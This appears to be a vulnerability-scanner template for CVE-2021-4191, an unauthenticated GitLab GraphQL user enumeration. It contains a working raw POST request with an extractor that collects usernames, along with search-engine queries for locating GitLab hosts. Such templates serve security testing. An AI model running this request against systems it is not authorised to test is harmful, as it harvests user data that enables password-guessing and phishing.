69 lines
3.1 KiB
YAML
69 lines
3.1 KiB
YAML
id: CVE-2021-4191
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info:
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name: GitLab GraphQL API User Enumeration
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author: zsusac
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severity: medium
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description: An unauthenticated remote attacker can leverage this vulnerability to collect registered GitLab usernames, names, and email addresses.
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impact: |
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An attacker can enumerate valid usernames, which can be used for further attacks such as brute-forcing passwords or launching targeted phishing campaigns.
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remediation: |
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Implement rate limiting or CAPTCHA on the GraphQL API to prevent user enumeration.
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reference:
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- https://www.rapid7.com/blog/post/2022/03/03/cve-2021-4191-gitlab-graphql-api-user-enumeration-fixed/
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- https://thehackernews.com/2022/03/new-security-vulnerability-affects.html
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- https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-4191
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- https://gitlab.com/gitlab-org/gitlab/-/issues/343898
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- https://gitlab.com/gitlab-org/cves/-/blob/master/2021/CVE-2021-4191.json
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
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cvss-score: 5.3
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cve-id: CVE-2021-4191
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cwe-id: CWE-287
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epss-score: 0.24657
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epss-percentile: 0.96207
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cpe: cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*
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metadata:
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max-request: 1
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vendor: gitlab
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product: gitlab
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shodan-query:
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- cpe:"cpe:2.3:a:gitlab:gitlab"
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- http.title:"gitlab"
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fofa-query: title="gitlab"
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google-query: intitle:"gitlab"
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tags: cve2021,cve,gitlab,api,graphql,enum,unauth
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http:
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- raw:
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- |
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POST /api/graphql HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/json
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Accept: */*
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Origin: {{RootURL}}
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Referer: {{RootURL}}/-/graphql-explorer
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{"query":"# Welcome to GraphiQL\n#\n# GraphiQL is an in-browser tool for writing, validating, and\n# testing GraphQL queries.\n#\n# Type queries into this side of the screen, and you will see intelligent\n# typeaheads aware of the current GraphQL type schema and live syntax and\n# validation errors highlighted within the text.\n#\n# GraphQL queries typically start with a \"{\" character. Lines that starts\n# with a # are ignored.\n#\n# An example GraphQL query might look like:\n#\n# {\n# field(arg: \"value\") {\n# subField\n# }\n# }\n#\n# Keyboard shortcuts:\n#\n# Prettify Query: Shift-Ctrl-P (or press the prettify button above)\n#\n# Run Query: Ctrl-Enter (or press the play button above)\n#\n# Auto Complete: Ctrl-Space (or just start typing)\n#\n\n{\n users {\n nodes {\n id\n name\n username\n }\n }\n}","variables":null,"operationName":null}
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- '"data"'
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- '"users"'
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- '"nodes"'
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- '"id"'
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- 'gid://'
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condition: and
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- type: status
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status:
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- 200
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extractors:
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- type: json
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json:
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- '.data.users.nodes[].username'
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# digest: 4a0a00473045022100ccac97e0f28411f31458bfe3e3acaf49c1900cda86a9250b01ca18b4ff3c44e20220734977a899f8a2fa28939fb575353b911fb189534566476e2473a52fc12f5fbe:922c64590222798bb761d5b6d8e72950 |